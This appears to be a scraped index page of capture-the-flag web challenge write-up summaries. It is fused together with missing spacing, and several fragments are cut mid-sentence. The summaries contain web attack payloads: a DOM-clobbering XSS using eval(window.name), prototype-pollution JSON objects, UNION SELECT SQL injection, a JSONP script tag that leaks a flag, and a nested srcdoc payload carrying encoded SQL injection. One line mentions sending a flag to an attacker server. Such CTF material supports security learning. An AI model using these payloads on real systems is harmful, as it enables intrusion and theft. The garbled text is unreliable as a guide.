tl;dr
- Bypass nginx’s DENY ALL using
SCRIPT_NAME - Calculate key_id uploading
flag.txt.enc - Leak the key and decrypt
flag.txt.enc
tl;dr
SCRIPT_NAMEflag.txt.encflag.txt.enctl;dr
<a id="showInfos"></a><a id="SETTINGS" name=check data-timezone="aaa" data-location="eval(window.name)"><a id="SETTINGS" name="x"> tl;dr
Header().Set() methodTiming-Allow-Origin headertl;dr
/verify_roles?role=supersuperuseruser\ud800","name":"admin{"constructor":{"prototype":{"test":"123"}}} in config-handlertl;dr
sha256('')./api/flag and send it to attacker server.tl;dr
tl;dr
/gettoken%3fcreditcard=mmm&promocode=FREEWAF to get the token.{"name":"' union select flag, 1, 1, 1 from flag -- -", "name":"x"} to get the flag.tl;dr
; secure; samesite=none to cookie. Now, <script src="https://jason.2021.chall.actf.co/flags?callback=load"></script> would retrieve the flag. tl;dr
tl;dr
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<script src='/admin/debug/add_widget?panelid=star7rix&widgetname=test123&widgetdata=%27%29%2C%28%27star7rix%27%2C+%28select+flag+from+flag%29%2C+%27%7B%22type%22%3A%22test123%22%7D%27%29+--'></script>\"}}"}1 / 2